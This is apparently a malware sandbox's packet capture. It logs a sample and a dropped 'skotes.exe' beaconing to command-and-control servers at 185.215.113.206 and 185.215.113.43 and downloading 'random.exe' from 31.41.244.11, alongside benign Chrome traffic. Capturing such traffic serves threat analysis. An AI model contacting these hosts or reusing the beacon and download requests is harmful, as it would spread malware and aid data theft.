Nov 23, 2024 17:44:46.706815004 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 17:44:46.707938910 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 17:44:46.707956076 CET	1236	IN	Data Raw: 0e 36 16 6d 0d 28 81 cf 93 95 31 50 0e 21 50 84 dc 75 31 cc fe a2 15 68 3f b3 f6 9c 51 79 57 03 ff 25 84 8f 18 a9 d3 9b fd 71 37 8e 9c d1 50 8c cb a3 82 9c d5 81 2e c4 fc e5 0d e6 8c 75 69 4f 69 95 44 a0 15 f5 36 8a 5c d1 30 4c 0d 22 df 3d 45 65 Data Ascii: 6m(1P!Pu1h?QyW%q7P.uiOiD6\0L"=Eevka&\|Cy70uke/Rq}-dB=tcqytg_)MyQS]'e!-d0/S<YN_dC>StVskelBdb##}P3
Nov 23, 2024 17:44:46.707971096 CET	248	IN	Data Raw: ef c9 a4 4e c8 1d 2d 58 e3 4d 9b 1b d7 56 46 1c e4 4f 60 e8 21 45 60 ac 43 06 c5 23 70 7f 88 3a 75 98 9f 72 33 5c b5 8e da a7 77 ff 78 6d a4 1d 21 34 51 cc 99 44 18 e1 10 8f 77 ac f3 ea 09 cb 5d 6d 6b df dc 73 8b af ce cc 5c 85 4b 85 ed e0 5d 30 Data Ascii: N-XMVFO`!E`C#p:ur3\wxm!4QDw]mks\K]0\c<SQn2FOIT'gC@D"OC)'Z40xe70fd\|Y=VtE_>zaA{_MnKcmci2}Q=agbQe
Nov 23, 2024 17:44:46.708694935 CET	1236	IN	Data Raw: 60 62 0b 8e b2 9d a9 4e 5f 53 33 00 79 d0 6a 10 22 c9 fb 77 08 d2 ad 52 9f e5 b5 4b 1c b2 b4 d7 31 60 ba 59 b0 65 6e 6b 2b 5d 2e e1 15 6d 9c 21 3d 7e 9e 88 3d 51 69 81 13 84 2c 65 5f 6e f3 0f 05 93 82 f5 f8 d5 46 2b 85 cf 36 9f 77 25 93 46 0e 19 Data Ascii: `bN_S3yj"wRK1`Yenk+].m!=~=Qi,e_nF+6w%F%~SFs` R\|s_law_u]8];OC`F+ZgZ,nOtBmWu3.o"1EZLkPr2kB8aY8VbaLiaMfFT(<CiqRI0V
Nov 23, 2024 17:44:46.708791971 CET	1236	IN	Data Raw: 4b 46 06 9a e7 f5 a0 12 4a d7 c5 2b 42 94 b4 cd 6d 01 21 8f d9 61 35 e0 93 b3 de bf 1f f7 d5 87 7b 35 35 94 9e 5d 42 aa 54 83 38 49 bd 48 62 ec 80 c0 2e 82 a4 54 c6 e5 ac 46 8a 5a 34 bd e2 16 16 7f 84 11 25 91 24 ec 1b 3d f9 ea 8d df ce 71 66 4c Data Ascii: KFJ+Bm!a5{55]BT8IHb.TFZ4%$=qfL5\|Uw8Y^/@1?eF#:qAD{S2bF^fK+Zj7)[\wfR _ZGrS(q&![Q(nf^zf2uxiWfR`6bwET+
Nov 23, 2024 17:44:46.825812101 CET	1236	IN	Data Raw: ce c1 5e 3d be 53 3f 51 13 74 ea 9d 86 25 18 e1 ba 8f 73 72 5b da 47 1e 4e a3 8b df 34 14 b6 5a 8e 55 31 9b 21 6a de 03 55 2b 71 23 b5 ab 37 62 b2 d0 57 8b de f3 a6 9c ca 9a 6c 86 4c e8 92 d3 19 52 ad e4 5b 51 3d b3 b7 12 1a 51 23 3d 29 8f f3 3b Data Ascii: ^=S?Qt%sr[GN4ZU1!jU+q#7bWlLR[Q=Q#=);E~\5EwD7]~S7S4]Bqox=b887^sy<XgPp\|_KpC;=?8!n?n=^R~f++sndTt{[1r/2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49757	185.215.113.206	80	2080	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 17:44:50.522619963 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIDHDAKJDHJKEBFIEH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 48 2d 2d 0d 0a Data Ascii: ------JEHIDHDAKJDHJKEBFIEHContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------JEHIDHDAKJDHJKEBFIEHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JEHIDHDAKJDHJKEBFIEH--
Nov 23, 2024 17:44:52.470519066 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49898	185.215.113.43	80	7284	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 17:46:03.633179903 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 17:46:04.988301992 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 16:46:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49906	185.215.113.43	80	7284	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 17:46:06.629194975 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 17:46:08.039983034 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 16:46:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 38 34 37 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 34 37 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 34 38 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 34 38 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1008478001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008479001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008480001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008481001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008482001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49910	31.41.244.11	80	7284	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 17:46:08.164278030 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 23, 2024 17:46:09.557852983 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 16:46:09 GMT Content-Type: application/octet-stream Content-Length: 4417024 Last-Modified: Sat, 23 Nov 2024 14:59:47 GMT Connection: keep-alive ETag: "6741ede3-436600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 90 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 c0 c5 00 00 04 00 00 35 76 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 70 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 6f c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@5vC@ _qspo px'@.rsrc p'@.idata q'@ 8q'@mcmnjdbh'@hqiwbric>C@.taggant0"DC@
Nov 23, 2024 17:46:09.557939053 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 17:46:09.557955027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 17:46:09.557970047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 17:46:09.557984114 CET	896	IN	Data Raw: 28 88 b6 5d 52 1b bf 56 c7 6d fe 6c 0b 7c 8d 34 1f 5a 8d 11 7f 25 be db 5b c6 3e d6 e2 93 66 f8 72 a0 44 c1 3c d0 91 fd c9 64 48 c5 03 88 b0 52 71 93 af 05 53 25 1a 54 e5 84 61 15 d0 84 89 b4 5c 82 f6 d0 47 f2 af 9a 8c b8 8f 12 eb 1a ea ca ee 85 Data Ascii: (]RVml\|4Z%[>frD<dHRqS%Ta\G]c">BduJxVlPj_9># b-a%4u_Ti_gX=yT!=jEhzEP{\CQ:=l
Nov 23, 2024 17:46:09.558101892 CET	1236	IN	Data Raw: 12 bb 56 d0 a5 ca 94 54 5f 93 61 2e 83 cb 7d bd 26 48 0e d3 9e ff 0f 76 af d4 22 e1 ae fb 81 50 ed 54 53 38 ea f9 a3 47 d2 04 ca 92 4b 0d 50 f4 30 7d 2c 9d 85 98 e4 82 03 35 3e b5 6f 84 c0 ce 47 52 b3 e6 48 0b 06 eb c9 fd 71 aa 73 ab ac 89 c7 e8 Data Ascii: VT_a.}&Hv"PTS8GKP0},5>oGRHqsWYW%}]N&xL\|nX8%-0\~YYZ(0W'>W@[-l4HaAS*}j(&7"7h-~E~c0iA$cg
Nov 23, 2024 17:46:09.558114052 CET	1236	IN	Data Raw: cc 84 3a d8 f8 59 ae db 22 e8 b8 49 ef 77 69 7d 10 d8 64 d2 a5 c4 e0 26 2d 8f 25 e4 2a ed 6d 7d ef c3 57 98 24 9d e3 6d d8 00 95 54 c3 f4 6e 2c 1e ea 2d 6a 78 85 45 20 c4 f4 25 f9 e1 e5 4d 40 3a 10 eb 7b e5 ad 29 19 ef 44 4d 3c 06 c3 fe 36 19 f6 Data Ascii: :Y"Iwi}d&-%*m}W$mTn,-jxE %M@:{)DM<6}-QxTW]^jK'c5" xert@[+J<mA3je(ZF2KVZ.\|X507u\|s=+<AF\|,0,2_Ri3
Nov 23, 2024 17:46:09.558128119 CET	1236	IN	Data Raw: cb 38 cd 83 d6 cf ad f5 02 15 c6 c6 ef 09 28 d8 1e c6 57 b5 0f f2 57 23 27 b9 29 da 48 04 f2 f3 1f 2d 45 62 05 af 1c 1a 21 8a 11 97 fd b3 54 e4 65 a6 55 3c 6b c5 12 e6 c2 98 8c 9e 7f 34 29 14 60 d8 5a 9b 6d 66 cc 33 6c 2c 4d a0 96 32 18 b3 88 a2 Data Ascii: 8(WW#')H-Eb!TeU<k4)`Zmf3l,M2<exyU\-]k"t<Th}c"hNZ/)Zn5u1R3{(K*Gi_8U.IA(DQU,]d3dA2t
Nov 23, 2024 17:46:09.558142900 CET	1236	IN	Data Raw: 07 18 aa 94 3f d7 2d 42 fc 9a 62 e8 8f 30 36 49 f0 05 de 9b da 04 0a 13 9a 0d b7 a8 cb aa d2 2a a8 6d d1 2f 42 70 b1 db e5 fc 3f b2 25 ed 46 6e 28 6f 7d df ac a4 2b 22 68 2c 8f c0 07 f2 c4 02 33 1c 95 12 29 43 31 90 80 f3 c0 b8 7b a2 9d 47 5d b7 Data Ascii: ?-Bb06Im/Bp?%Fn(o}+"h,3)C1{G],FK%x- ?'JV 5!$?.2I"r3hA!NsETOZ~btr\RkLR^\'L<
Nov 23, 2024 17:46:09.558157921 CET	1236	IN	Data Raw: 33 67 28 0d 8c f3 88 c7 b6 4b 2f 19 f4 1b a6 07 78 59 27 ec 8c bc bc dc 46 62 56 eb ef 65 f4 79 bc f0 75 f0 16 f8 45 1e 0a ba c9 d4 e7 1d de 09 b1 b2 33 c8 8f da 30 d5 8e 44 7d bb a2 12 56 30 7f e6 73 9f eb 42 5c 31 31 0e 56 47 eb f0 33 28 eb 1a Data Ascii: 3g(K/xY'FbVeyuE30D}V0sB\11VG3(0L@D>y )LlPd/Z{b3h/0u-M<Ls`I+R#ud{mA]Gx3_$/^xF\L+'J<[\NY;Q=
Nov 23, 2024 17:46:09.681030989 CET	1236	IN	Data Raw: d1 90 a1 83 fb 72 83 1c c1 ca fb a5 07 fd 69 5d 8c b6 c7 de 14 ff 4a ad 8f 44 1a b2 01 54 68 19 a8 a5 fb 14 a3 f4 ee e7 ec 76 64 f9 8e fb 50 c3 d0 c1 4d 03 1b f4 26 88 2b 1c 41 16 c5 20 3e db dc 15 ca 91 c7 17 aa 08 6f 18 9e 68 c4 2d 37 95 22 d8 Data Ascii: ri]JDThvdPM&+A >oh-7")i}VLl3XbZ"]!f?K>+\|b':lCb&uk'EQg@KAzFP,T\|</jdG^'TS]z/+~ji9;

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	216.58.208.228	443	7272	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:44:22 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 16:44:23 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:23 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-xtDLEHAIMyenFV5G7BGBLg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 16:44:23 UTC	124	IN	Data Raw: 33 31 64 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 61 6e 20 6d 61 74 65 6f 20 63 6f 75 6e 74 79 20 73 68 65 72 69 66 66 20 6f 66 66 69 63 65 22 2c 22 66 69 6e 61 6c 20 6a 65 6f 70 61 72 64 79 20 71 75 65 73 74 69 6f 6e 22 2c 22 73 6f 63 69 61 6c 20 73 65 63 75 72 69 74 79 20 70 61 79 6d 65 6e 74 20 73 63 68 65 64 75 6c 65 20 32 30 32 35 22 2c 22 77 61 73 68 69 6e 67 74 Data Ascii: 31d)]}'["",["san mateo county sheriff office","final jeopardy question","social security payment schedule 2025","washingt
2024-11-23 16:44:23 UTC	680	IN	Data Raw: 6f 6e 20 77 69 7a 61 72 64 73 20 62 6f 73 74 6f 6e 20 63 65 6c 74 69 63 73 22 2c 22 6e 76 69 64 69 61 20 72 74 78 20 35 30 39 30 22 2c 22 73 75 73 73 65 78 20 63 6f 75 6e 74 79 20 6e 6a 20 73 63 68 6f 6f 6c 20 63 6c 6f 73 69 6e 67 73 22 2c 22 61 75 72 6f 72 61 20 62 6f 72 65 61 6c 69 73 20 66 6f 72 65 63 61 73 74 22 2c 22 6e 79 74 20 63 72 6f 73 73 77 6f 72 64 20 63 6c 75 65 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 Data Ascii: on wizards boston celtics","nvidia rtx 5090","sussex county nj school closings","aurora borealis forecast","nyt crossword clues"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2Vh
2024-11-23 16:44:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	216.58.208.228	443	7272	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:44:22 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	216.58.208.228	443	7272	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:44:22 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 16:44:23 UTC	1119	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 23 Nov 2024 16:44:23 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 16:44:23 UTC	271	IN	Data Raw: 33 32 64 33 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 32d3)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-23 16:44:23 UTC	1390	IN	Data Raw: 75 30 30 33 64 5c 22 67 62 5f 50 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 6b 64 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 Data Ascii: u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv 